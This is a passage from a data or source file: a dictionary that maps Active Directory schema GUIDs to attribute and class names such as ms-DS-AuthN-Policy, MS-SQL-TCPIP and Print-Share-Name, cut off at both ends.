'ms-DS-Az-Application-Name',\n\t'8157fa38-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-MultiProtocol',\n\t'8447f9f0-1027-11d0-a05f-00aa006c33ed': 'PKT-Guid',\n\t'bf967a7a-0de6-11d0-a285-00aa003049e2': 'WWW-Home-Page',\n\t'33140514-f57a-47d2-8ec4-04c4666600c7': 'ms-DS-Assigned-AuthN-Policy-Silo-BL',\n\t'f0f8ff8b-1191-11d0-a060-00aa006c33ed': 'DMD-Location',\n\t'7184a120-3ac4-47ae-848f-fe0ab20784d4': 'ms-DS-Az-Application-Version',\n\t'86b08004-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-SPX',\n\t'19405b96-3cfa-11d1-a9c0-0000f80367c1': 'Policy-Replication-Flags',\n\t'9a9a0221-4a5b-11d1-a9c3-0000f80367c1': 'WWW-Page-Other',\n\t'164d1e05-48a6-4886-a8e9-77a2006e3c77': 'ms-DS-AuthN-Policy-Silo-Members',\n\t'45fb5a57-5018-4d0f-9056-997c8c9122d9': 'ms-WMI-RangeParam',\n\t'7c9e8c58-901b-4ea8-b6ec-4eb9e9fc0e11': 'ms-DS-Device-Container',\n\t'167757b9-47f3-11d1-a9c3-0000f80367c1': 'DMD-Name',\n\t'33d41ea8-c0c9-4c92-9494-f104878413fd': 'ms-DS-Az-Biz-Rule',\n\t'8ac263a6-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-TCPIP',\n\t'281416c4-1968-11d0-a28f-00aa003049e2': 'Port-Name',\n\t'bf967a7b-0de6-11d0-a285-00aa003049e2': 'X121-Address',\n\t'11fccbc7-fbe4-4951-b4b7-addf6f9efd44': 'ms-DS-AuthN-Policy-Silo-Members-BL',\n\t'2df90d86-009f-11d2-aa4c-00c04fd7d83a': 'DN-Reference-Update',\n\t'52994b56-0e6c-4e07-aa5c-ef9d7f5a0e25': 'ms-DS-Az-Biz-Rule-Language',\n\t'8fda89f4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-AppleTalk',\n\t'bf9679fa-0de6-11d0-a285-00aa003049e2': 'Poss-Superiors',\n\t'd07da11f-8a3d-42b6-b0aa-76c962be719a': 'x500uniqueIdentifier',\n\t'cd26b9f3-d415-442a-8f78-7c61523ee95b': 'ms-DS-User-AuthN-Policy',\n\t'6afe8fe2-70bc-4cce-b166-a96f7359c514': 'ms-WMI-RealRangeParam',\n\t'd2b1470a-8f84-491e-a752-b401ee00fe5c': 'ms-DS-AuthN-Policy-Silos',\n\t'e0fa1e65-9b45-11d0-afdd-00c04fd930c9': 'Dns-Allow-Dynamic',\n\t'013a7277-5c2d-49ef-a7de-b765b36a3f6f': 'ms-DS-Az-Class-ID',\n\t'94c56394-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Vines',\n\t'9a7ad94c-ca53-11d1-bbd0-0080c76670c0': 'Possible-Inferiors',\n\t'bf967a7f-0de6-11d0-a285-00aa003049e2': 'X509-Cert',\n\t'2f17faa9-5d47-4b1f-977e-aa52fabe65c8': 'ms-DS-User-AuthN-Policy-BL',\n\t'e0fa1e66-9b45-11d0-afdd-00c04fd930c9': 'Dns-Allow-XFR',\n\t'6448f56a-ca70-4e2e-b0af-d20e4ce653d0': 'ms-DS-Az-Domain-Timeout',\n\t'9a7d4770-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Status',\n\t'bf9679fb-0de6-11d0-a285-00aa003049e2': 'Post-Office-Box',\n\t'612cb747-c0e8-4f92-9221-fdd5f15b550d': 'UnixUserPassword',\n\t'afb863c9-bea3-440f-a9f3-6153cc668929': 'ms-DS-Computer-AuthN-Policy',\n\t'3c7e6f83-dd0e-481b-a0c2-74cd96ef2a66': 'ms-WMI-Rule',\n\t'3a9adf5d-7b97-4f7e-abb4-e5b55c1c06b4': 'ms-DS-AuthN-Policies',\n\t'72e39547-7b18-11d1-adef-00c04fd8d5cd': 'DNS-Host-Name',\n\t'f90abab0-186c-4418-bb85-88447c87222a': 'ms-DS-Az-Generate-Audits',\n\t'9fcc43d4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastUpdatedDate',\n\t'bf9679fc-0de6-11d0-a285-00aa003049e2': 'Postal-Address',\n\t'850fcc8f-9c6b-47e1-b671-7c654be4d5b3': 'UidNumber',\n\t'2bef6232-30a1-457e-8604-7af6dbf131b8': 'ms-DS-Computer-AuthN-Policy-BL',\n\t'e0fa1e68-9b45-11d0-afdd-00c04fd930c9': 'Dns-Notify-Secondaries',\n\t'665acb5c-bb92-4dbc-8c59-b3638eab09b3': 'ms-DS-Az-Last-Imported-Biz-Rule-Path',\n\t'a42cd510-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-InformationURL',\n\t'bf9679fd-0de6-11d0-a285-00aa003049e2': 'Postal-Code',\n\t'c5b95f0c-ec9e-41c4-849c-b46597ed6696': 'GidNumber',\n\t'2a6a6d95-28ce-49ee-bb24-6d1fc01e3111': 'ms-DS-Service-AuthN-Policy',\n\t'f1e44bdf-8dd3-4235-9c86-f91f31f5b569': 'ms-WMI-ShadowObject',\n\t'f9f0461e-697d-4689-9299-37e61d617b0d': 'ms-DS-AuthN-Policy-Silo',\n\t'675a15fe-3b70-11d2-90cc-00c04fd91ab1': 'DNS-Property',\n\t'5e53368b-fc94-45c8-9d7d-daf31ee7112d': 'ms-DS-Az-LDAP-Query',\n\t'a92d23da-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-ConnectionURL',\n\t'bf9679fe-0de6-11d0-a285-00aa003049e2': 'Preferred-Delivery-Method',\n\t'a3e03f1f-1d55-4253-a0af-30c2a784e46e': 'Gecos',\n\t'2c1128ec-5aa2-42a3-b32d-f0979ca9fcd2': 'ms-DS-Service-AuthN-Policy-BL',\n\t'f60a8f96-57c4-422c-a3ad-9e2fa09ce6f7': 'ms-DS-Device-MDMStatus',\n\t'e0fa1e69-9b45-11d0-afdd-00c04fd930c9': 'Dns-Record',\n\t'cfb9adb7-c4b7-4059-9568-1ed9db6b7248': 'ms-DS-Az-Major-Version',\n\t'ae0c11b8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-PublicationURL',\n\t'856be0d0-18e7-46e1-8f5f-7ee4d9020e0d': 'preferredLanguage',\n\t'bc2dba12-000f-464d-bf1d-0808465d8843': 'UnixHomeDirectory',\n\t'b87a0ad8-54f7-49c1-84a0-e64d12853588': 'ms-DS-Assigned-AuthN-Policy',\n\t'6cc8b2b5-12df-44f6-8307-e74f5cdee369': 'ms-WMI-SimplePolicyTemplate',\n\t'a11703b7-5641-4d9c-863e-5fb3325e74e0': 'ms-DS-GeoCoordinates-Altitude',\n\t'bf967959-0de6-11d0-a285-00aa003049e2': 'Dns-Root',\n\t'ee85ed93-b209-4788-8165-e702f51bfbf3': 'ms-DS-Az-Minor-Version',\n\t'b222ba0e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSLatitude',\n\t'bf9679ff-0de6-11d0-a285-00aa003049e2': 'Preferred-OU',\n\t'a553d12c-3231-4c5e-8adf-8d189697721e': 'LoginShell',\n\t'2d131b3c-d39f-4aee-815e-8db4bc1ce7ac': 'ms-DS-Assigned-AuthN-Policy-BL',\n\t'dc66d44e-3d43-40f5-85c5-3c12e169927e': 'ms-DS-GeoCoordinates-Latitude',\n\t'e0fa1e67-9b45-11d0-afdd-00c04fd930c9': 'Dns-Secure-Secondaries',\n\t'a5f3b553-5d76-4cbe-ba3f-4312152cab18': 'ms-DS-Az-Operation-ID',\n\t'b7577c94-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSLongitude',\n\t'52458022-ca6a-11d0-afff-0000f80367c1': 'Prefix-Map',\n\t'f8f2689c-29e8-4843-8177-e8b98e15eeac': 'ShadowLastChange',\n\t'7a560cc2-ec45-44ba-b2d7-21236ad59fd5': 'ms-DS-AuthN-Policy-Enforced',\n\t'ab857078-0142-4406-945b-34c9b6b13372': 'ms-WMI-Som',\n\t'94c42110-bae4-4cea-8577-af813af5da25': 'ms-DS-GeoCoordinates-Longitude',\n\t'd5eb2eb7-be4e-463b-a214-634a44d7392e': 'DNS-Tombstoned',\n\t'515a6b06-2617-4173-8099-d5605df043c6': 'ms-DS-Az-Scope-Name',\n\t'bcdd4f0e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSHeight',\n\t'a8df744b-c5ea-11d1-bbcb-0080c76670c0': 'Presentation-Address',\n\t'a76b8737-e5a1-4568-b057-dc12e04be4b2': 'ShadowMin',\n\t'f2f51102-6be0-493d-8726-1546cdbc8771': 'ms-DS-AuthN-Policy-Silo-Enforced',\n\t'bd29bf90-66ad-40e1-887b-10df070419a6': 'ms-DS-External-Directory-Object-Id',\n\t'f18a8e19-af5f-4478-b096-6f35c27eb83f': 'documentAuthor',\n\t'2629f66a-1f95-4bf3-a296-8e9d7b9e30c8': 'ms-DS-Az-Script-Engine-Cache-Max',\n\t'c07cc1d0-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Version',\n\t'963d2739-48be-11d1-a9c3-0000f80367c1': 'Previous-CA-Certificates',\n\t'f285c952-50dd-449e-9160-3b880d99988d': 'ShadowMax',\n\t'0bc579a2-1da7-4cea-b699-807f3b9d63a4': 'ms-WMI-StringSetParam',\n\t'0b21ce82-ff63-46d9-90fb-c8b9f24e97b9': 'documentIdentifier',\n\t'87d0fb41-2c8b-41f6-b972-11fdfd50d6b0': 'ms-DS-Az-Script-Timeout',\n\t'c57f72f4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Language',\n\t'963d273d-48be-11d1-a9c3-0000f80367c1': 'Previous-Parent-CA',\n\t'7ae89c9c-2976-4a46-bb8a-340f88560117': 'ShadowWarning',\n\t'2628a46a-a6ad-4ae0-b854-2b12d9fe6f9e': 'account',\n\t'bf967aa1-0de6-11d0-a285-00aa003049e2': 'Mail-Recipient',\n\t'b958b14e-ac6d-4ec4-8892-be70b69f7281': 'documentLocation',\n\t'7b078544-6c82-4fe9-872f-ff48ad2b2e26': 'ms-DS-Az-Task-Is-Role-Definition',\n\t'8386603c-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-Description',\n\t'bf967a00-0de6-11d0-a285-00aa003049e2': 'Primary-Group-ID',\n\t'86871d1f-3310-4312-8efd-af49dcfb2671': 'ShadowInactive',\n\t'bf967a83-0de6-11d0-a285-00aa003049e2': 'Class-Schema',\n\t'd9a799b2-cef3-48b3-b5ad-fb85f8dd3214': 'ms-WMI-UintRangeParam',\n\t'59527d0f-b7c0-4ce2-a1dd-71cef6963292': 'ms-DS-Is-Compliant',\n\t'170f09d7-eb69-448a-9a30-f1afecfd32d7': 'documentPublisher',\n\t'8491e548-6c38-4365-a732-af041569b02c': 'ms-DS-Az-Object-Guid',\n\t'ca48eba8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Type',\n\t'c0ed8738-7efd-4481-84d9-66d2db8be369': 'Primary-Group-Token',\n\t'75159a00-1fff-4cf4-8bff-4ef2695cf643': 'ShadowExpire',\n\t'd1328fbc-8574-4150-881d-0b1088827878': 'ms-DS-Key-Principal-BL',\n\t'de265a9c-ff2c-47b9-91dc-6e6fe2c43062': 'documentTitle',\n\t'b5f7e349-7a5b-407c-a334-a31c3f538b98': 'ms-DS-Az-Generic-Data',\n\t'd0aedb2e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-InformationDirectory',\n\t'281416d7-1968-11d0-a28f-00aa003049e2': 'Print-Attributes',\n\t'8dfeb70d-c5db-46b6-b15e-a4389e6cee9b': 'ShadowFlag',\n\t'7f561288-5301-11d1-a9c5-0000f80367c1': 'ACS-Policy',\n\t'8f4beb31-4e19-46f5-932e-5fa03c339b1d': 'ms-WMI-UintSetParam',\n\t'c4a46807-6adc-4bbb-97de-6bed181a1bfe': 'ms-DS-Device-Trust-Type',\n\t'94b3a8a9-d613-4cec-9aad-5fbcc1046b43': 'documentVersion',\n\t'd31a8757-2447-4545-8081-3bb610cacbf2': 'ms-DS-Behavior-Version',\n\t'd5a0dbdc-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Database',\n\t'281416cd-1968-11d0-a28f-00aa003049e2': 'Print-Bin-Names',\n\t'03dab236-672e-4f61-ab64-f77d2dc2ffab': 'MemberUid',\n\t'1dcc0722-aab0-4fef-956f-276fe19de107': 'ms-DS-Shadow-Principal-Sid',\n\t'7bfdcb7a-4807-11d1-a9c3-0000f80367c1': 'Domain-Certificate-Authorities',\n\t'f0d8972e-dd5b-40e5-a51d-044c7c17ece7': 'ms-DS-Byte-Array',\n\t'db77be4a-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-AllowAnonymousSubscription',\n\t'281416d2-1968-11d0-a28f-00aa003049e2': 'Print-Collate',\n\t'0f6a17dc-53e5-4be8-9442-8f3ce2f9012a': 'MemberNisNetgroup',\n\t'2e899b04-2834-11d3-91d4-0000f87a57d4': 'ACS-Resource-Limits',\n\t'b82ac26b-c6db-4098-92c6-49c18a3336e1': 'ms-WMI-UnknownRangeParam',\n\t'19195a55-6da0-11d0-afd3-00c04fd930c9': 'Domain-Component',\n\t'69cab008-cdd4-4bc9-bab8-0ff37efe1b20': 'ms-DS-Cached-Membership',\n\t'e0c6baae-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Alias',\n\t'281416d3-1968-11d0-a28f-00aa003049e2': 'Print-Color',\n\t'a8032e74-30ef-4ff5-affc-0fc217783fec': 'NisNetgroupTriple',\n\t'11f95545-d712-4c50-b847-d2781537c633': 'ms-DS-Shadow-Principal-Container',\n\t'b000ea7b-a086-11d0-afdd-00c04fd930c9': 'Domain-Cross-Ref',\n\t'3566bf1f-beee-4dcb-8abe-ef89fcfec6c1': 'ms-DS-Cached-Membership-Time-Stamp',\n\t'e9098084-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Size',\n\t'281416cc-1968-11d0-a28f-00aa003049e2': 'Print-Duplex-Supported',\n\t'ff2daebf-f463-495a-8405-3e483641eaa2': 'IpServicePort',\n\t'7f561289-5301-11d1-a9c5-0000f80367c1': 'ACS-Subnet',\n\t'05630000-3927-4ede-bf27-ca91f275c26f': 'ms-WMI-WMIGPO',\n\t'963d2734-48be-11d1-a9c3-0000f80367c1': 'Domain-ID',\n\t'23773dc2-b63a-11d2-90e1-00c04fd91ab1': 'MS-DS-Consistency-Guid',\n\t'ede14754-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-CreationDate',\n\t'281416ca-1968-11d0-a28f-00aa003049e2': 'Print-End-Time',\n\t'cd96ec0b-1ed6-43b4-b26b-f170b645883f': 'IpServiceProtocol',\n\t'770f4cb3-1643-469c-b766-edd77aa75e14': 'ms-DS-Shadow-Principal',\n\t'7f561278-5301-11d1-a9c5-0000f80367c1': 'Domain-Identifier',\n\t'178b7bc2-b63a-11d2-90e1-00c04fd91ab1': 'MS-DS-Consistency-Child-Count',\n\t'f2b6abca-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastBackupDate',\n\t'281416cb-1968-11d0-a28f-00aa003049e2': 'Print-Form-Name',\n\t'ebf5c6eb-0e2d-4415-9670-1081993b4211': 'IpProtocolNumber',\n\t'3e74f60f-3e73-11d1-a9c0-0000f80367c1': 'Address-Book-Container',\n\t'9a0dc344-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Configuration',\n\t'c294f84b-2fad-4b71-be4c-9fc5701f60ba': 'ms-DS-Key-Id',\n\t'bf96795d-0de6-11d0-a285-00aa003049e2': 'Domain-Policy-Object',\n\t'c5e60132-1480-11d3-91c1-0000f87a57d4': 'MS-DS-Creator-SID',\n\t'f6d6dd88-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastDiagnosticDate',\n\t'ba305f6d-47e3-11d0-a1a6-00c04fd930c9': 'Print-Keep-Printed-Jobs',\n\t'966825f5-01d9-4a5c-a011-d15ae84efa55': 'OncRpcNumber',\n\t'a12e0e9f-dedb-4f31-8f21-1311b958182f': 'ms-DS-Key-Material',\n\t'80a67e2a-9f22-11d0-afdd-00c04fd930c9': 'Domain-Policy-Reference',\n\t'234fcbd8-fb52-4908-a328-fd9f6e58e403': 'ms-DS-Date-Time',\n\t'fbcda2ea-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Applications',\n\t'281416d6-1968-11d0-a28f-00aa003049e2': 'Print-Language',\n\t'de8bb721-85dc-4fde-b687-9657688e667e': 'IpHostNumber',\n\t'5fd4250a-1262-11d0-a060-00aa006c33ed': 'Address-Template',\n\t'876d6817-35cc-436c-acea-5ef7174dd9be': 'MSMQ-Custom-Recipient',\n\t'de71b44c-29ba-4597-9eca-c3348ace1917': 'ms-DS-Key-Usage',\n\t'bf96795e-0de6-11d0-a285-00aa003049e2': 'Domain-Replica',\n\t'6818f726-674b-441b-8a3a-f40596374cea': 'ms-DS-Default-Quota',\n\t'01e9a98a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-Keywords',\n\t'ba305f7a-47e3-11d0-a1a6-00c04fd930c9': 'Print-MAC-Address',\n\t'4e3854f4-3087-42a4-a813-bb0c528958d3': 'IpNetworkNumber',\n\t'bd61253b-9401-4139-a693-356fc400f3ea': 'ms-DS-Key-Principal',\n\t'80a67e29-9f22-11d0-afdd-00c04fd930c9': 'Domain-Wide-Policy',\n\t'a9b38cb6-189a-4def-8a70-0fcfa158148e': 'ms-DS-Deleted-Object-Lifetime',\n\t'c1676858-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-Publisher',\n\t'281416d1-1968-11d0-a28f-00aa003049e2': 'Print-Max-Copies',\n\t'6ff64fcd-462e-4f62-b44a-9a5347659eb9': 'IpNetmaskNumber',\n\t'3fdfee4f-47f4-11d1-a9c3-0000f80367c1': 'Application-Entity',\n\t'9a0dc345-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Enterprise-Settings',\n\t'642c1129-3899-4721-8e21-4839e3988ce5': 'ms-DS-Device-DN',\n\t'1a1aa5b5-262e-4df6-af04-2cf6b0d80048': 'drink',\n\t'2143acca-eead-4d29-b591-85fa49ce9173': 'ms-DS-DnsRootAlias',\n\t'c3bb7054-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowKnownPullSubscription',\n\t'281416cf-1968-11d0-a28f-00aa003049e2': 'Print-Max-Resolution-Supported',\n\t'e6a522dd-9770-43e1-89de-1de5044328f7': 'MacAddress',\n\t'dffbd720-0872-402e-9940-fcd78db049ba': 'ms-DS-Computer-SID',\n\t'281416c5-1968-11d0-a28f-00aa003049e2': 'Driver-Name',\n\t'5706aeaf-b940-4fb2-bcfc-5268683ad9fe': 'ms-DS-Enabled-Feature',\n\t'c4186b6e-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowImmediateUpdatingSubscription',\n\t'ba305f6f-47e3-11d0-a1a6-00c04fd930c9': 'Print-Max-X-Extent',\n\t'd72a0750-8c7c-416e-8714-e65f11e908be': 'BootParameter',\n\t'5fd4250b-1262-11d0-a060-00aa006c33ed': 'Application-Process',\n\t'46b27aac-aafa-4ffb-b773-e5bf621ee87b': 'MSMQ-Group',\n\t'b6e5e988-e5e4-4c86-a2ae-0dacb970a0e1': 'ms-DS-Custom-Key-Information',\n\t'ba305f6e-47e3-11d0-a1a6-00c04fd930c9': 'Driver-Version',\n\t'ce5b01bc-17c6-44b8-9dc1-a9668b00901b': 'ms-DS-Enabled-Feature-BL',\n\t'c458ca80-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowQueuedUpdatingSubscription',\n\t'ba305f70-47e3-11d0-a1a6-00c04fd930c9': 'Print-Max-Y-Extent',\n\t'e3f3cb4e-0f20-42eb-9703-d2ff26e52667': 'BootFile',\n\t'649ac98d-9b9a-4d41-af6b-f616f2a62e4a': 'ms-DS-Key-Approximate-Last-Logon-Time-Stamp',\n\t'd167aa4b-8b08-11d2-9939-0000f87a57d4': 'DS-Core-Propagation-Data',\n\t'e1e9bad7-c6dd-4101-a843-794cec85b038': 'ms-DS-Entry-Time-To-Die',\n\t'c49b8be8-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowSnapshotFilesFTPDownloading',\n\t'3bcbfcf5-4d3d-11d0-a1a6-00c04fd930c9': 'Print-Media-Ready',\n\t'969d3c79-0e9a-4d95-b0ac-bdde7ff8f3a1': 'NisMapName',\n\t'f780acc1-56f0-11d1-a9c6-0000f80367c1': 'Application-Settings',\n\t'50776997-3c3d-11d2-90cc-00c04fd91ab1': 'MSMQ-Migrated-User',\n\t'f0f8ff86-1191-11d0-a060-00aa006c33ed': 'DS-Heuristics',\n\t'9d054a5a-d187-46c1-9d85-42dfc44a56dd': 'ms-DS-ExecuteScriptPassword',\n\t'c4e311fc-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-ThirdParty',\n\t'244b296f-5abd-11d0-afd2-00c04fd930c9': 'Print-Media-Supported',\n\t'4a95216e-fcc0-402e-b57f-5971626148a9': 'NisMapEntry',\n\t'ee1f5543-7c2e-476a-8b3f-e11f4af6c498': 'ms-DS-Key-Credential',\n\t'ee8d0ae0-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Admin-Maximum',\n\t'b92fd528-38ac-40d4-818d-0433380837c1': 'ms-DS-External-Key',\n\t'4cc4601e-7201-4141-abc8-3e529ae88863': 'ms-TAPI-Conference-Blob',\n\t'ba305f74-47e3-11d0-a1a6-00c04fd930c9': 'Print-Memory',\n\t'27eebfa2-fbeb-4f8e-aad6-c50247994291': 'msSFU-30-Search-Container',\n\t'19195a5c-6da0-11d0-afd3-00c04fd930c9': 'Application-Site-Settings',\n\t'9a0dc343-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Queue',\n\t'938ad788-225f-4eee-93b9-ad24a159e1db': 'ms-DS-Key-Credential-Link-BL',\n\t'f6ea0a94-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Admin-Notification',\n\t'604877cd-9cdb-47c7-b03d-3daadb044910': 'ms-DS-External-Store',\n\t'efd7d7f7-178e-4767-87fa-f8a16b840544': 'ms-TAPI-Ip-Address',\n\t'ba305f71-47e3-11d0-a1a6-00c04fd930c9': 'Print-Min-X-Extent',\n\t'32ecd698-ce9e-4894-a134-7ad76b082e83': 'msSFU-30-Key-Attributes',\n\t'bf967aba-0de6-11d0-a285-00aa003049e2': 'User',\n\t'fcca766a-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Shell-Maximum',\n\t'9b88bda8-dd82-4998-a91d-5f2d2baf1927': 'ms-DS-Optional-Feature-GUID',\n\t'89c1ebcf-7a5f-41fd-99ca-c900b32299ab': 'ms-TAPI-Protocol-Id',\n\t'ba305f72-47e3-11d0-a1a6-00c04fd930c9': 'Print-Min-Y-Extent',\n\t'a2e11a42-e781-4ca1-a7fa-ec307f62b6a1': 'msSFU-30-Field-Separator',\n\t'ddc790ac-af4d-442a-8f0f-a1d4caa7dd92': 'Application-Version',\n\t'9a0dc347-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Settings',\n\t'167757bc-47f3-11d1-a9c3-0000f80367c1': 'DSA-Signature',\n\t'fb00dcdf-ac37-483a-9c12-ac53a6603033': 'ms-DS-Filter-Containers',\n\t'70a4e7ea-b3b9-4643-8918-e6dd2471bfd4': 'ms-TAPI-Unique-Identifier',\n\t'ba305f79-47e3-11d0-a1a6-00c04fd930c9': 'Print-Network-Address',\n\t'95b2aef0-27e4-4cb9-880a-a2d9a9ea23b8': 'msSFU-30-Intra-Field-Separator',\n\t'5df2b673-6d41-4774-b3e8-d52e8ee9ff99': 'ms-DS-Device',\n\t'52458021-ca6a-11d0-afff-0000f80367c1': 'Dynamic-LDAP-Server',\n\t'11e9a5bc-4517-4049-af9c-51554fb0fc09': 'ms-DS-Has-Instantiated-NCs',\n\t'6366c0c1-6972-4e66-b3a5-1d52ad0c0547': 'ms-WMI-Author',\n\t'ba305f6a-47e3-11d0-a1a6-00c04fd930c9': 'Print-Notify',\n\t'ef9a2df0-2e57-48c8-8950-0cc674004733': 'msSFU-30-Search-Attributes',\n\t'9a0dc346-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-Link',\n\t'5b47d60f-6090-40b2-9f37-2a4de88f3063': 'ms-DS-Key-Credential-Link',\n\t'bf967961-0de6-11d0-a285-00aa003049e2': 'E-mail-Addresses',\n\t'6f17e347-a842-4498-b8b3-15e007da4fed': 'ms-DS-Has-Domain-NCs',\n\t'f9cdf7a0-ec44-4937-a79b-cd91522b3aa8': 'ms-WMI-ChangeDate',\n\t'3bcbfcf4-4d3d-11d0-a1a6-00c04fd930c9': 'Print-Number-Up',\n\t'e167b0b6-4045-4433-ac35-53f972d45cba': 'msSFU-30-Result-Attributes',\n\t'bf967a81-0de6-11d0-a285-00aa003049e2': 'Builtin-Domain',\n\t'8e4eb2ec-4712-11d0-a1a0-00c04fd930c9': 'EFSPolicy',\n\t'ae2de0e2-59d7-4d47-8d47-ed4dfe4357ad': 'ms-DS-Has-Master-NCs',\n\t'90c1925f-4a24-4b07-b202-be32eb3c8b74': 'ms-WMI-Class',\n\t'281416d0-1968-11d0-a28f-00aa003049e2': 'Print-Orientations-Supported',\n\t'b7b16e01-024f-4e23-ad0d-71f1a406b684': 'msSFU-30-Map-Filter',\n\t'19195a60-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Connection',\n\t'f2699093-f25a-4220-9deb-03df4cc4a9c5': 'Dns-Zone-Scope-Container',\n\t'bf967962-0de6-11d0-a285-00aa003049e2': 'Employee-ID',\n\t'80641043-15a2-40e1-92a2-8ca866f70776': 'ms-DS-Host-Service-Account',\n\t'2b9c0ebc-c272-45cb-99d2-4d0e691632e0': 'ms-WMI-ClassDefinition',\n\t'ba305f69-47e3-11d0-a1a6-00c04fd930c9': 'Print-Owner',\n\t'4cc908a2-9e18-410e-8459-f17cc422020a': 'msSFU-30-Master-Server-Name',\n\t'7d6c0e9d-7e20-11d0-afd6-00c04fd930c9': 'Category-Registration',\n\t'a8df73ef-c5ea-11d1-bbcb-0080c76670c0': 'Employee-Number',\n\t'79abe4eb-88f3-48e7-89d6-f4bc7e98c331': 'ms-DS-Host-Service-Account-BL',\n\t'748b0a2e-3351-4b3f-b171-2f17414ea779': 'ms-WMI-CreationDate',\n\t'19405b97-3cfa-11d1-a9c0-0000f80367c1': 'Print-Pages-Per-Minute',\n\t'02625f05-d1ee-4f9f-b366-55266becb95c': 'msSFU-30-Order-Number',\n\t'f0f8ffab-1191-11d0-a060-00aa006c33ed': 'NTDS-DSA',\n\t'696f8a61-2d3f-40ce-a4b3-e275dfcc49c5': 'Dns-Zone-Scope',\n\t'a8df73f0-c5ea-11d1-bbcb-0080c76670c0': 'Employee-Type',\n\t'7bc64cea-c04e-4318-b102-3e0729371a65': 'ms-DS-Integer',\n\t'50c8673a-8f56-4614-9308-9e1340fb9af3': 'ms-WMI-Genus',\n\t'ba305f77-47e3-11d0-a1a6-00c04fd930c9': 'Print-Rate',\n\t'16c5d1d3-35c2-4061-a870-a5cefda804f0': 'msSFU-30-Name',\n\t'3fdfee50-47f4-11d1-a9c3-0000f80367c1': 'Certification-Authority',\n\t'a8df73f2-c5ea-11d1-bbcb-0080c76670c0': 'Enabled',\n\t'bc60096a-1b47-4b30-8877-602c93f56532': 'ms-DS-IntId',\n\t'9339a803-94b8-47f7-9123-a853b9ff7e45': 'ms-WMI-ID',\n\t'ba305f78-47e3-11d0-a1a6-00c04fd930c9': 'Print-Rate-Unit',\n\t'20ebf171-c69a-4c31-b29d-dcb837d8912d': 'msSFU-30-Aliases',\n\t'85d16ec1-0791-4bc8-8ab3-70980602ff8c': 'NTDS-DSA-RO',\n\t'e0fa1e8c-9b45-11d0-afdd-00c04fd930c9': 'Dns-Node',\n\t'bf967963-0de6-11d0-a285-00aa003049e2': 'Enabled-Connection',\n\t'6fabdcda-8c53-204f-b1a4-9df0c67c1eb4': 'ms-DS-Is-Possible-Values-Present',\n\t'1b0c07f8-76dd-4060-a1e1-70084619dc90': 'ms-WMI-intDefault',\n\t'281416c6-1968-11d0-a28f-00aa003049e2': 'Print-Separator-File',\n\t'37830235-e5e9-46f2-922b-d8d44f03e7ae': 'msSFU-30-Key-Values',\n\t'bf967a82-0de6-11d0-a285-00aa003049e2': 'Class-Registration',\n\t'3417ab48-df24-4fb1-80b0-0fcb367e25e3': 'ms-DS-Expire-Passwords-On-Smart-Card-Only-Accounts',\n\t'2a39c5b3-8960-11d1-aebc-0000f80367c1': 'Enrollment-Providers',\n\t'1df5cf33-0fe5-499e-90e1-e94b42718a46': 'ms-DS-isGC',\n\t'18e006b9-6445-48e3-9dcf-b5ecfbc4df8e': 'ms-WMI-intFlags1',\n\t'ba305f68-47e3-11d0-a1a6-00c04fd930c9': 'Print-Share-Name',\n\t'9ee3b2e3-c7f3-45f8-8c9f-1382be4984d2': 'msSFU-30-Nis-Domain',\n\t'19195a5f-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Service',\n\t'65650576-4699-4fc9-8d18-26e0cd0137a6': 'ms-DS-Token-Group-Names',\n\t'd213decc-d81a-4384-aac2-dcfcfd631cf8': 'Entry-TTL',\n\t'a8e8aa23-3e67-4af1-9d7a-2f1a1d633ac9': 'ms-DS-isRODC',\n\t'075a42c9-c55a-45b1-ac93-eb086b31f610': 'ms-WMI-intFlags2',\n\t'ba305f6c-47e3-11d0-a1a6-00c04fd930c9': 'Print-Spooling',\n\t'93095ed3-6f30-4bdd-b734-65d569f5f7c9': 'msSFU-30-Domains',\n\t'fa06d1f4-7922-4aad-b79c-b2201f54417c': 'ms-DS-Token-Group-Names-Global-And-Universal',\n\t'9a7ad947-ca53-11d1-bbd0-0080c76670c0': 'Extended-Attribute-Info',\n\t'8ab15858-683e-466d-877f-d640e1f9a611': 